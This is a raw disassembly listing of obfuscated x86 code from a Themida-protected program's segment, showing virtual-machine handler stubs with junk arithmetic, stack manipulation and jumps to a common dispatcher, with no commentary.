; ---------------------------------------------------------------------------
lodsb
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+12h+var_12]
pop esp
mov [esp], edx
mov dl, 55h
xor dl, 24h
push bx
jmp loc_594F55
; ---------------------------------------------------------------------------
loc_596131: ; DATA XREF: Themida_:0058B190o
push [esp+10h+var_12+2]
mov ecx, [esp+14h+var_16+2]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
push ebp
jmp loc_592BC4
; ---------------------------------------------------------------------------
loc_596149: ; CODE XREF: sub_59196D+252Bj
push ebx
push 15045679h
jmp loc_58DC9C
; ---------------------------------------------------------------------------
loc_596154: ; CODE XREF: sub_59196D-38D0j
sub edx, 788629F5h
jmp loc_58D193
; ---------------------------------------------------------------------------
loc_59615F: ; CODE XREF: sub_59196D+C3j
xchg esi, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
jmp loc_5968FF
; ---------------------------------------------------------------------------
loc_59616A: ; CODE XREF: sub_59196D+6Aj
xor word ptr [esp+2Ah+var_2A], si
jmp loc_59692A
; ---------------------------------------------------------------------------
loc_596173: ; CODE XREF: sub_59196D-4C33j
sub ebp, 54DC5F85h
sub eax, ebp
pop ebp
or [edi+1Ch], eax
push [esp+3Ah+var_3C+2]
pop eax
jmp loc_591436
; ---------------------------------------------------------------------------
loc_596188: ; CODE XREF: sub_59196D-3D2Aj
; sub_59196D+3589j
mov word ptr [esp+1Ch+var_1E+2], bx
mov bl, 6Bh
jmp loc_5972FF
; ---------------------------------------------------------------------------
loc_596193: ; CODE XREF: sub_59196D-2739j
mov eax, [esp+10h+var_12+2]
push 77D0h
mov [esp+14h+var_16+2], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+14h+var_16+2]
pop esp
push edx
mov edx, esp
add edx, 4
jmp loc_59826D
; ---------------------------------------------------------------------------
loc_5961BB: ; CODE XREF: sub_59196D+256Cj
xor bh, 0C8h
mov dh, bh
pop ebx
shr dh, 3
not dh
jmp loc_592FCC
; ---------------------------------------------------------------------------
loc_5961CB: ; CODE XREF: sub_59196D+5371j
xor cl, 2Ah
jmp loc_59539F
; ---------------------------------------------------------------------------
loc_5961D3: ; CODE XREF: sub_59196D-227Aj
; sub_59196D+3343j
mov esi, edx
pop edx
pop eax
push ecx
push edi
mov edi, 21F958F5h
and edi, 454D5731h
dec edi
or edi, 494734F2h
not edi
sub edi, 3FA01FC1h
jmp loc_59219C
; ---------------------------------------------------------------------------
loc_5961F8: ; CODE XREF: sub_59196D:loc_5948BCj
sub esi, 0CD37C5Dh
jge loc_596495
jmp loc_5957FE
; ---------------------------------------------------------------------------
mov [esp+18h+var_1A+2], ebx
mov ebx, esp
or al, 0FDh
mov cl, 0B7h
loc_596212: ; CODE XREF: sub_59196D-5664j
; sub_59196D+398Dj
add edx, 3E4112A9h
jmp loc_58E630
; ---------------------------------------------------------------------------
loc_59621D: ; CODE XREF: sub_59196D+6j
push esp
jmp loc_598401
; ---------------------------------------------------------------------------
loc_596223: ; CODE XREF: sub_59196D+5000j
pop esp
push esi
mov esi, esp
push ebp
jmp loc_5977EE
; ---------------------------------------------------------------------------
loc_59622D: ; CODE XREF: sub_59196D-3828j
; sub_59196D+31B8j
shl bl, 7
js loc_590081
xor bl, 0CDh
mov cl, bl
pop ebx
jmp loc_591FB9
; ---------------------------------------------------------------------------
loc_596241: ; DATA XREF: Themida_:0058B1E0o
push dword ptr [edi+38h]
push [esp+14h+var_16+2]
push [esp+18h+var_1A+2]
pop ecx
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
push esp
pop ebx
push edx
mov edx, 776329F1h
not edx
shr edx, 6
or edx, 2C475047h
jmp loc_594D8A
; ---------------------------------------------------------------------------
loc_59626C: ; CODE XREF: sub_59196D+5478j
neg eax
jmp loc_596C06
; ---------------------------------------------------------------------------
loc_596273: ; CODE XREF: sub_59196D-2206j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_596BB9
; ---------------------------------------------------------------------------
loc_596281: ; CODE XREF: sub_59196D+55D3j
mov esi, 644B17B2h
and ebx, esi
pop esi
shr ebx, 4
sub ebx, 27ED37B1h
neg ebx
push edx
mov edx, 1D129395h
xor ebx, edx
pop edx
add eax, ebx
pop ebx
sub eax, 101FBD89h
add ebp, eax
mov eax, [esp+18h+var_1A+2]
add esp, 4
add ebp, 4
xchg ebp, [esp+14h+var_16+2]
jmp loc_593B4D
; ---------------------------------------------------------------------------
loc_5962B8: ; DATA XREF: Themida_:0058B1F8o
push [esp+14h+var_16+2]
push [esp+18h+var_1A+2]
pop edx
push ecx
mov ecx, esp
push ebx
push ebp
mov ebp, 4
push esi
jmp loc_590473
; ---------------------------------------------------------------------------
loc_5962CF: ; CODE XREF: sub_59196D+2306j
push ebp
mov ebp, 7B9C1F43h
and ebp, 3D753759h
not ebp
sub ebp, 0C6EBE8BAh
add ecx, ebp
mov ebp, [esp+1Ch+var_1E+2]
add esp, 4
push esi
jmp sub_58B60E
; ---------------------------------------------------------------------------
loc_5962F4: ; CODE XREF: sub_59196D+D46j
dec eax
jns loc_592CDF
xor eax, 0BB938F45h
jmp sub_58C3EF
; ---------------------------------------------------------------------------
loc_596305: ; CODE XREF: sub_59196D:loc_5933B1j
push ebp
mov ebp, 0C83404Eh
sub esi, ebp
pop ebp
add eax, esi
mov esi, [esp+18h+var_1A+2]
jmp loc_594504
; ---------------------------------------------------------------------------
loc_596318: ; CODE XREF: sub_59196D+1CB7j
; sub_59196D+584Cj
push eax
mov eax, esp
jmp loc_590FBF
; ---------------------------------------------------------------------------
loc_596320: ; CODE XREF: sub_59196D+8D0j
push edi
mov edi, 691E5E55h
and edi, 2A981C44h
sub edi, 49BD296Dh
push ecx
mov ecx, 7D3030B4h
xor ecx, 36ED0BD3h
xchg ebx, ecx
not ebx
xchg ebx, ecx
jmp loc_592525
; ---------------------------------------------------------------------------
loc_596349: ; DATA XREF: Themida_:0058B0E8o
mov eax, [esp+0]
push 0BF3h
mov [esp+3Ch+var_3C], eax
sub esp, 4
mov [esp+40h+var_40], esp
add [esp+40h+var_40], 4
jmp loc_58F0C5
; ---------------------------------------------------------------------------
loc_596366: ; CODE XREF: sub_59196D+1A64j
push edi
mov edi, 5F9E3EA6h
mov ecx, 5F9E3EAAh
sub ecx, edi
pop edi
push ecx
mov ecx, 7B926125h
jmp loc_58E001
; ---------------------------------------------------------------------------
loc_59637F: ; CODE XREF: sub_59196D+2B5Cj
add ebx, 32CC4715h
sub ebx, ecx
sub ebx, 32CC4715h
mov ecx, [esp+18h+var_1A+2]
add esp, 4
sub ebx, eax
push 24EAh
mov [esp+18h+var_1A+2], eax
push 23A16EADh
pop eax
sub ebx, 64841B89h
sub ebx, 2D227159h
add ebx, 381702B7h
jmp loc_598464
; ---------------------------------------------------------------------------
loc_5963BD: ; CODE XREF: sub_5914EB+17j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_591864
; ---------------------------------------------------------------------------
loc_5963CD: ; CODE XREF: sub_59196D+58F6j
add esp, 4
push 5183h
mov [esp+18h+var_1A+2], ecx
push ebp
mov ebp, 180526BAh
jmp loc_58BF25
; ---------------------------------------------------------------------------
loc_5963E6: ; CODE XREF: sub_59196D-59F2j
push eax
mov eax, esp
push edi
jmp loc_58BBA2
; ---------------------------------------------------------------------------
loc_5963EF: ; CODE XREF: sub_59196D-1F8Aj
shr edx, 3
jnp loc_59094A
jmp loc_5967BD
; ---------------------------------------------------------------------------
sub edx, 41AE7914h
sub al, 90h
loc_596405: ; CODE XREF: sub_59196D-405Fj
mov [esp+3Ah+var_3C+2], edx
mov edx, esp
push esi
mov esi, 4
add edx, esi
push [esp+3Eh+var_40+2]
pop esi
add esp, 4
add edx, 4
push edx
push [esp+3Eh+var_3C+2]
pop edx
pop [esp+3Eh+var_40+2]
pop esp
add esp, 4
sub [esp+32h+var_32], eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_596435: ; CODE XREF: sub_59196D+1045j
pop ebx
add esp, 4
add ebx, 4
add ebx, 2
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
jmp loc_592F9F
; ---------------------------------------------------------------------------
loc_596453: ; CODE XREF: sub_59196D:loc_58E13Aj
and eax, 76A53A15h
jb loc_58E9EE
jmp loc_594631
; ---------------------------------------------------------------------------
loc_596463: ; CODE XREF: sub_59196D+6BE7j
sub ecx, 46F73CD7h
add ecx, ebp
add ecx, 46F73CD7h
mov ebp, [esp+14h+var_16+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_596524
; ---------------------------------------------------------------------------
loc_596488: ; CODE XREF: sub_59196D+88Aj
add eax, 1FF2BAFh
pop ebp
xor ebx, eax
jmp loc_58E96F
; ---------------------------------------------------------------------------
loc_596495: ; CODE XREF: sub_59196D:loc_592455j
; sub_59196D+4891j
jmp loc_59718D
; ---------------------------------------------------------------------------
loc_59649A: ; CODE XREF: sub_59196D+2B9Cj
mov [esp-8+arg_4], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-8+arg_4]
pop esp
xchg eax, [esp-0Ch+arg_8]
pop esp
add byte ptr [esp-10h+arg_C], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5964BC: ; CODE XREF: sub_59196D+3E9Ej
jns loc_595523
xor ebp, 85FC28D4h
sub eax, 7141590Eh
sub eax, ebp
push edi
jmp loc_591E1F
; ---------------------------------------------------------------------------
loc_5964D5: ; CODE XREF: sub_59196D+26F7j
xor ebp, 7659B0C8h
sub [edi+24h], ebp
pop ebp
loc_5964DF: ; CODE XREF: sub_59196D+1DF3j
push 4494h
mov [esp+18h+var_1A+2], esi
push ebx
jmp loc_590907
; ---------------------------------------------------------------------------
loc_5964ED: ; CODE XREF: sub_59196D-447Ej
mov ebp, eax
jmp loc_595DE2
; ---------------------------------------------------------------------------
loc_5964F4: ; CODE XREF: sub_59196D+3543j
add ecx, edi
pop edi
push 2773h
mov [esp], ecx
push [esp+38h+var_36+2]
pop ecx
pop dword ptr [esp]
mov esp, [esp+34h+var_36+2]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59650F: ; CODE XREF: sub_59196D-2188j
push ebx
mov bl, 5Eh
sub al, bl
jmp loc_58D6A1
; ---------------------------------------------------------------------------
loc_596519: ; CODE XREF: sub_59196D-E78j
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_596524: ; CODE XREF: sub_59196D+4B16j
xchg ebx, [esp+18h+var_1A+2]
pop esp
add ecx, 2
jmp loc_596620
; ---------------------------------------------------------------------------
loc_596530: ; CODE XREF: sub_59196D+3D16j
add esp, 4
add ecx, 4
push eax
push esi
push 12B80593h
pop esi
xor esi, 5B9314Ah
mov eax, esi
jmp loc_592D66
; ---------------------------------------------------------------------------
loc_59654E: ; CODE XREF: sub_59196D-63Ej
mov edi, 6CA62FEh
sub [esp-22h+arg_20+2], edi
pop edi
mov eax, [esp-26h+arg_20+2]
add esp, 4
push ebx
jmp loc_59724C
; ---------------------------------------------------------------------------
loc_596564: ; CODE XREF: sub_59196D-3C0Fj
xor ecx, 6DCF727Bh
mov ebx, ecx
jmp loc_593D79
; ---------------------------------------------------------------------------
loc_596571: ; CODE XREF: sub_59196D-30EAj
mov [esp+8+var_8], ebx
mov ebx, esp
jmp loc_58CDEC
; ---------------------------------------------------------------------------
loc_59657B: ; CODE XREF: sub_59196D+5884j
sub esi, 0FFFFFFFFh
not esi
add esi, 0FFFFFFFFh
push 374Ch
mov [esp+0Ch+var_C], edx
push eax
mov eax, 384B6740h
mov edx, eax
mov eax, [esp+10h+var_12+2]
jmp loc_59715C
; ---------------------------------------------------------------------------
loc_59659B: ; CODE XREF: sub_59196D-4ED4j
sub ebx, 33AA6E9Bh
mov ecx, ebx
jmp loc_59556B
; ---------------------------------------------------------------------------
loc_5965A8: ; CODE XREF: sub_59196D-2599j
push ebx
push 4F9F489Fh
jmp loc_58ED52
; ---------------------------------------------------------------------------
loc_5965B3: ; CODE XREF: sub_58D521+8j
sub esp, 4
mov [esp+0Ah+var_C+2], ebp
mov ebp, 7DB4163Fh
inc ebp
jmp loc_58BF91
; ---------------------------------------------------------------------------
loc_5965C7: ; CODE XREF: sub_59196D-37C6j
pop edx
jmp loc_58B914
; ---------------------------------------------------------------------------
loc_5965CD: ; CODE XREF: sub_59196D-3FFDj
mov esp, [esp+18h+var_1A+2]
and byte ptr [esp+18h+var_1A+2], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5965D9: ; CODE XREF: sub_59196D-463Aj
push eax
push ebp
mov ebp, 73FE0CA0h
mov eax, 6D853EE8h
xor eax, ebp
pop ebp
jmp loc_59396C
; ---------------------------------------------------------------------------
loc_5965ED: ; CODE XREF: Themida_:0058EEA0j
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+52h+var_54+2]
jmp loc_58DF23
; ---------------------------------------------------------------------------
loc_596604: ; CODE XREF: sub_59196D+3423j
xor edx, 62F452ABh
sub edx, 42E636BFh
jmp loc_5910E1
; ---------------------------------------------------------------------------
loc_596615: ; CODE XREF: sub_59196D-272Ej
and ecx, 5C1D5D63h
jmp loc_590007
; ---------------------------------------------------------------------------
loc_596620: ; CODE XREF: sub_59196D+4BBEj
xchg ecx, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
mov ax, word ptr [esp+14h+var_16+2]
push edi
push 353Dh
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
jmp loc_58FA61
; ---------------------------------------------------------------------------
loc_59663C: ; CODE XREF: sub_59196D-4F07j
pop ecx
push 3EFCh
jmp loc_58C4D1
; ---------------------------------------------------------------------------
loc_596647: ; CODE XREF: sub_59196D-8FBj
pop ecx
add al, 2Ah
add al, bl
push ecx
mov cl, 0E4h
xor cl, 0CEh
jmp loc_58D38C
; ---------------------------------------------------------------------------
loc_596657: ; CODE XREF: Themida_:0058B716j
push ebx
mov ebx, 41FC5928h
jmp loc_595B90
; ---------------------------------------------------------------------------
loc_596662: ; CODE XREF: sub_59196D+601Ej
sub esp, 4
jmp loc_593676
; ---------------------------------------------------------------------------
loc_59666D: ; CODE XREF: sub_59196D-13F2j
mov dh, 0Ch
or bh, dh
pop edx
dec bh
jmp loc_590384
; ---------------------------------------------------------------------------
loc_596679: ; CODE XREF: sub_59196D-5E18j
add ebx, eax
push 7583h
mov [esp+20h+var_22+2], ebp
push ebx
jmp loc_591D40
; ---------------------------------------------------------------------------
loc_596689: ; CODE XREF: sub_59196D+4DC5j
mov edi, 626C5D58h
jmp loc_58E5E2
; ---------------------------------------------------------------------------
loc_596693: ; CODE XREF: sub_5902D0+10j
push ecx
jmp loc_58F000
; ---------------------------------------------------------------------------
loc_596699: ; CODE XREF: sub_59196D-5A7Ej
mov edi, esi
mov esi, [esp+14h+var_16+2]
jmp loc_58E2B7
; ---------------------------------------------------------------------------
loc_5966A3: ; CODE XREF: sub_59196D-2A80j
pop ebx
xor edi, [esp+32h+var_32]
xor [esp+32h+var_32], edi
xor edi, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
mov word ptr [esp+32h+var_32], dx
push ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5966BC: ; CODE XREF: sub_59196D+F9Fj
mov [esp+36h+var_36], edx
push eax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5966C6: ; CODE XREF: sub_59196D-D92j
push ecx
mov ch, 0F8h
mov dh, ch
pop ecx
add dh, cl
mov ecx, [esp+1Ch+var_1E+2]
add esp, 4
inc dh
dec dh
jmp loc_58CAAB
; ---------------------------------------------------------------------------
loc_5966E0: ; CODE XREF: sub_59196D-225Aj
add esp, 4
shr ebx, 5
inc ebx
shr ebx, 5
and ebx, 628C6B4Dh
sub ebx, 9039CFE7h
add edx, ebx
pop ebx
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5966FE: ; CODE XREF: sub_59196D+87Ej
xchg eax, edx
jmp loc_590499
; ---------------------------------------------------------------------------
dword_596704 dd 62B753ACh, 80E1B551h, 0B35306C5h, 38F380B5h, 285BDD00h
; DATA XREF: Themida_:0058B0B8o
dd 8AE959E8h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_59671F: ; CODE XREF: sub_59196D+233Aj
xchg eax, [esp+24h+var_26+2]
mov esp, [esp+24h+var_26+2]
mul ecx
push 75CDh
mov [esp+28h+var_2A+2], ebx
push esp
pop ebx
push edi
jmp loc_596689
; ---------------------------------------------------------------------------
loc_596737: ; CODE XREF: sub_59196D-26B0j
push esi
mov esi, esp
push edi
mov edi, 619C4806h
and edi, 238E31ACh
sub edi, 35019B2h
or edi, 43D9543Ah
dec edi
add edi, 0A004098Bh
add esi, edi
pop edi
push edi
mov edi, 4
add esi, edi
jmp loc_59823A
; ---------------------------------------------------------------------------
loc_596769: ; CODE XREF: sub_59196D-5F31j
pop ebx
jmp loc_593545
; ---------------------------------------------------------------------------
loc_59676F: ; CODE XREF: sub_58E3B7+9j
xor edx, 306B7620h
jmp loc_595CE2
; ---------------------------------------------------------------------------
loc_59677A: ; CODE XREF: sub_59196D-3E06j
mov [esp+30h+var_32+2], ebx
push edi
mov edi, 1D722FC6h
jmp loc_593555
; ---------------------------------------------------------------------------
loc_596788: ; CODE XREF: sub_59196D-36CDj
mov esi, 1AFD6E41h
add edx, esi
pop esi
push ebp
mov ebp, 43CA131Ch
xor edx, ebp
jmp loc_597AAC
; ---------------------------------------------------------------------------
loc_59679D: ; CODE XREF: sub_59196D+3204j
and esi, ebx
pop ebx
jmp loc_596A2E
; ---------------------------------------------------------------------------
loc_5967A5: ; CODE XREF: sub_59196D-346Fj
add bl, dl
jmp loc_593986
; ---------------------------------------------------------------------------
loc_5967AC: ; CODE XREF: sub_59196D-411j
xor ebx, ebp
pop ebp
add ecx, ebx
pop ebx
add ecx, 2
jmp loc_596942
; ---------------------------------------------------------------------------
loc_5967BD: ; CODE XREF: Themida_:0058F9DDj
; sub_59196D+4A8Bj
mov eax, esp
add eax, 4
sub esp, 4
mov [esp+0], ebx
mov ebx, 4
jmp loc_58B3C0
; ---------------------------------------------------------------------------
loc_5967D4: ; CODE XREF: sub_59196D-5671j
sub cl, bl
mov ebx, [esp+18h+var_1A+2]
add esp, 4
push ebx
mov bh, 6Fh
add bh, 7Eh
and bh, 0D2h
jmp loc_5947D1
; ---------------------------------------------------------------------------
loc_5967EA: ; CODE XREF: sub_59196D+3B91j
push [esp+20h+var_1E+2]
push [esp+24h+var_26+2]
pop edx
add esp, 4
pop [esp+20h+var_22+2]
pop esp
mov [esp+18h+var_1A+2], edx
mov edx, 18072CB9h
mov esi, edx
pop edx
jmp loc_59701B
; ---------------------------------------------------------------------------
loc_596809: ; CODE XREF: sub_59196D-367Aj
add eax, ecx
pop ecx
add eax, 2
jmp loc_59516B
; ---------------------------------------------------------------------------
loc_596814: ; CODE XREF: sub_59196D-560j
mov edx, 10914807h
add edx, 70F83CE4h
jmp loc_594B3B
; ---------------------------------------------------------------------------
loc_596824: ; CODE XREF: sub_59196D-3DF9j
push eax
jmp loc_5971BE
; ---------------------------------------------------------------------------
loc_59682A: ; CODE XREF: sub_59196D:loc_597188j
not ebx
neg ebx
jbe loc_58FB72
xor ebx, 8F73D8A5h
add eax, ebx
pop ebx
xchg eax, [esp+34h+var_36+2]
loc_596840: ; CODE XREF: sub_59196D-313Fj
sub esi, 4
jmp loc_594069
; ---------------------------------------------------------------------------
loc_596848: ; CODE XREF: Themida_:0058EDD0j
push edx
jmp loc_591E45
; ---------------------------------------------------------------------------
loc_59684E: ; CODE XREF: sub_59196D-397Dj
push [esp+2Eh+var_2E]
pop ecx
add esp, 4
shr eax, 0Eh
xor eax, ecx
sub esp, 4
mov [esp+2Eh+var_2E], eax
push edi
push [esp+32h+var_2E]
pop edi
pop [esp+32h+var_32]
push 1E2Dh
jmp loc_58C58A
; ---------------------------------------------------------------------------
loc_596876: ; CODE XREF: sub_59196D-2EAj
add esi, edi
jmp loc_58B490
; ---------------------------------------------------------------------------
loc_59687D: ; CODE XREF: sub_59196D+50CFj
xchg edx, [esp+0]
pop esp
mov [esp+34h+var_36+2], edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
pop eax
add edx, 4
xchg edx, [esp+34h+var_36+2]
mov esp, [esp+34h+var_36+2]
shl eax, cl
push 394Ch
mov [esp+0], edi
push ebp
mov ebp, 655947ABh
sub ebp, 655947AAh
jmp loc_591797
; ---------------------------------------------------------------------------
loc_5968B3: ; CODE XREF: Themida_:0059149Cj
add ebp, 25CD069Ah
xor ebp, 0B590ECACh
add esi, ebp
pop ebp
add esi, edi
jmp loc_58DA68
; ---------------------------------------------------------------------------
loc_5968C9: ; CODE XREF: sub_59196D+2EBEj
xor ebx, eax
sub esp, 4
mov [esp+24h+var_26+2], eax
jmp loc_58B5CA
; ---------------------------------------------------------------------------
loc_5968D6: ; CODE XREF: sub_59196D+E4Dj
dec ah
jo loc_596BF6
push edx
mov dh, 76h
sub dh, 24h
xor dh, 6Dh
add ah, dh
pop edx
mov bl, 15h
xor bl, ah
mov eax, [esp+0]
add esp, 4
add al, bl
pop bx
sub al, 6Bh
jmp loc_59180E
; ---------------------------------------------------------------------------
loc_5968FF: ; CODE XREF: sub_59196D+47F8j
bts word ptr [esp+1Eh+var_1E], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59690A: ; CODE XREF: sub_59196D+1FB9j
shr edx, 1
cmp eax, edx
jz loc_58F587
push eax
mov eax, 20h
push esi
mov esi, 7BD620AFh
sub eax, esi
pop esi
add eax, edi
jmp loc_59083B
; ---------------------------------------------------------------------------
loc_59692A: ; CODE XREF: sub_59196D+4801j
xor si, word ptr [esp+2Ah+var_2A]
xor word ptr [esp+2Ah+var_2A], si
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_596937: ; CODE XREF: sub_59196D-3A5Fj
add esi, ecx
pop ecx
xor esi, [esp+34h+var_36+2]
jmp loc_59371A
; ---------------------------------------------------------------------------
loc_596942: ; CODE XREF: sub_59196D+4E4Bj
xchg ecx, [esp+18h+var_1A+2]
pop esp
rol byte ptr [esp+14h+var_16+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59694F: ; CODE XREF: sub_59196D-4864j
push edi
mov edi, esp
sub esp, 4
mov [esp+10h+var_12+2], esi
mov esi, 4
jmp loc_59062A
; ---------------------------------------------------------------------------
loc_596962: ; CODE XREF: sub_59196D+2E9Cj
mov edi, 4
add ecx, edi
pop edi
xchg ecx, [esp+0Ah+var_C+2]
jmp loc_596223
; ---------------------------------------------------------------------------
loc_596972: ; CODE XREF: sub_59196D-403Ej
; sub_59196D+6261j
push [esp+1Ch+var_1E+2]
mov ecx, [esp+20h+var_22+2]
add esp, 4
push eax
mov eax, esp
jmp loc_591786
; ---------------------------------------------------------------------------
loc_596986: ; CODE XREF: sub_59196D+3AA3j
; sub_59196D+5C94j
and edi, edx
jmp loc_58E90A
; ---------------------------------------------------------------------------
loc_59698D: ; CODE XREF: sub_59196D-47DFj
mov dh, 3Eh
jmp loc_58ECE0
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp+10h+var_12+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5969A3: ; CODE XREF: sub_59196D-24D2j
add edx, 0DC43A7Dh
jmp loc_58C3FA
; ---------------------------------------------------------------------------
loc_5969AE: ; CODE XREF: sub_59196D+55C8j
add esp, 4
mov eax, edi
jmp loc_5935CF
; ---------------------------------------------------------------------------
loc_5969BB: ; CODE XREF: sub_59196D-1CD8j
pop esp
mov [esp+8+var_8], edi
mov edi, esp
add edi, 4
jmp loc_58E3F2
; ---------------------------------------------------------------------------
loc_5969CC: ; CODE XREF: sub_59196D+2D74j
pop ebp
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
mov esp, [esp+0]
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_592547
; ---------------------------------------------------------------------------
loc_5969E4: ; CODE XREF: sub_59196D-265Bj
pop esp
jmp loc_58D503
; ---------------------------------------------------------------------------
loc_5969EA: ; CODE XREF: sub_59196D-3069j
; sub_59196D+5898j
push edx
push [esp+22h+var_1E]
mov edx, [esp+26h+var_26]
push edi
mov edi, esp
jmp loc_58E0CA
; ---------------------------------------------------------------------------
loc_5969FA: ; CODE XREF: sub_59196D+69E6j
sub word ptr [esp+2Ah+var_2A], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_596A04: ; CODE XREF: Themida_:0058FF20j
sub esp, 4
mov [esp+32h+var_32], esp
add [esp+32h+var_32], 4
mov eax, [esp+32h+var_32]
add esp, 4
push ecx
mov ecx, 7B5350h
sub esp, 4
jmp loc_58D880
; ---------------------------------------------------------------------------
loc_596A2E: ; CODE XREF: sub_59196D+4E33j
sub esi, 0B5E1F8B6h
jmp loc_59720A
; ---------------------------------------------------------------------------
loc_596A39: ; CODE XREF: sub_59196D-643Cj
sub edx, 4
jmp loc_59687D
; ---------------------------------------------------------------------------
loc_596A41: ; CODE XREF: sub_59196D-AFCj
; sub_59196D+22ABj
mov [esp+12h+var_12], edx
mov edx, 0B14AF15Dh
mov eax, edx
pop edx
add eax, ecx
jmp loc_58E567
; ---------------------------------------------------------------------------
loc_596A53: ; CODE XREF: sub_59196D-2094j
push ebx
push 5B451FAEh
pop ebx
and ebx, 3B781E3Dh
ja loc_58F666
xor ebx, 1B401E2Eh
mov eax, ebx
pop ebx
or dl, 0C3h
pop esi
loc_596A73: ; CODE XREF: sub_59196D-3D9Dj
push [esp-0Ah+arg_4+2]
push [esp-6+arg_0+2]
mov eax, [esp+0]
push eax
mov eax, esp
jmp loc_58D373
; ---------------------------------------------------------------------------
loc_596A84: ; CODE XREF: sub_59196D+678Bj
pop ebp
jmp loc_58DF8C
; ---------------------------------------------------------------------------
loc_596A8A: ; CODE XREF: sub_59196D+6ACBj
mov [esp+0], edi
mov edi, 4
add ebp, edi
push dword ptr [esp+0]
jmp loc_592A3A
; ---------------------------------------------------------------------------
loc_596A9C: ; CODE XREF: sub_59196D+37DFj
shl ebx, 5
jnz loc_58C325
inc ebx
and ebx, 3D095FB5h
add ebx, 0CBF7B1E3h
loc_596AB2: ; CODE XREF: sub_59196D+66E5j
push [esp+1Ch+var_1A+2]
mov eax, [esp+20h+var_22+2]
jmp sub_590BE0
; ---------------------------------------------------------------------------
loc_596ABE: ; CODE XREF: sub_59196D-3080j
sub esp, 4
mov [esp+14h+var_16+2], ebp
jmp loc_592AC9
; ---------------------------------------------------------------------------
loc_596ACC: ; CODE XREF: sub_59196D-1287j
pop ecx
push ecx
mov ecx, ebx
mov edi, ecx
pop ecx
pop ebx
push eax
mov eax, 46173E99h
jmp loc_598117
; ---------------------------------------------------------------------------
loc_596ADF: ; CODE XREF: sub_59196D-2D74j
push ebp
jmp loc_592959
; ---------------------------------------------------------------------------
loc_596AE5: ; CODE XREF: sub_59196D-502Bj
push [esp+3Eh+var_40+2]
jmp loc_58EFF0
; ---------------------------------------------------------------------------
loc_596AED: ; CODE XREF: sub_59196D-4C3j
xor esi, 3D825892h
add ebx, 585F0482h
add ebx, esi
sub ebx, 585F0482h
mov esi, [esp+0Ah+var_C+2]
jmp loc_598142
; ---------------------------------------------------------------------------
loc_596B09: ; CODE XREF: Themida_:0058E23Aj
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 4
sub eax, esi
jmp loc_593483
; ---------------------------------------------------------------------------
loc_596B1E: ; CODE XREF: sub_59196D-5C75j
push [esp+28h+var_2A+2]
mov edx, [esp+2Ch+var_2E+2]
add esp, 4
push 6B34h
mov [esp+2Ch+var_2E+2], ebx
push esp
pop ebx
jmp loc_594DBA
; ---------------------------------------------------------------------------
loc_596B39: ; CODE XREF: sub_59196D-2450j
pop ebp
xchg ebp, esi
add esi, 353A0457h
jl loc_59247C
inc esi
jge loc_590B7B
add esi, 305D676Ch
add esi, 0E0C9FDD5h
pop edi
loc_596B5C: ; CODE XREF: sub_59196D+56F3j
push ecx
mov ecx, 0CCE1144h
and edi, ecx
pop ecx
shr edi, 8
sub edi, 0BD808D53h
and esi, edi
pop edi
dec esi
inc esi
jmp loc_593898
; ---------------------------------------------------------------------------
loc_596B78: ; CODE XREF: sub_59196D+6551j
mov cl, 4Fh
xor cl, 69h
mov bl, cl
pop ecx
add bl, 76h
xor dh, bl
pop ebx
add bh, dh
mov edx, [esp+0]
add esp, 4
add al, bh
mov ebx, [esp-4+arg_0]
push edi
mov edi, esp
jmp loc_593AEC
; ---------------------------------------------------------------------------
loc_596B9B: ; CODE XREF: sub_59196D-439Fj
push ebx
mov ebx, 2F5A12BCh
jmp loc_595D79
; ---------------------------------------------------------------------------
loc_596BA6: ; CODE XREF: sub_59196D-60B4j
push 65402A68h
pop esi
jmp loc_5980E4
; ---------------------------------------------------------------------------
loc_596BB1: ; CODE XREF: sub_59196D-187Ej
pop edx
add ebx, edi
jmp loc_58E70B
; ---------------------------------------------------------------------------
loc_596BB9: ; CODE XREF: sub_59196D+490Fj
sub ebx, 4
xchg ebx, [esp+20h+var_22+2]
pop esp
mov [esp+1Ch+var_1E+2], edi
mov edi, 0D5C1AA3h
add edi, 61EA116Ah
sub edx, edi
pop edi
not edx
jmp loc_5980F0
; ---------------------------------------------------------------------------
loc_596BDB: ; CODE XREF: sub_59196D+32A0j
and bl, 65h
sub bl, 2Fh
add bl, 2Ch
xor bl, 0B7h
jmp loc_58E809
; ---------------------------------------------------------------------------
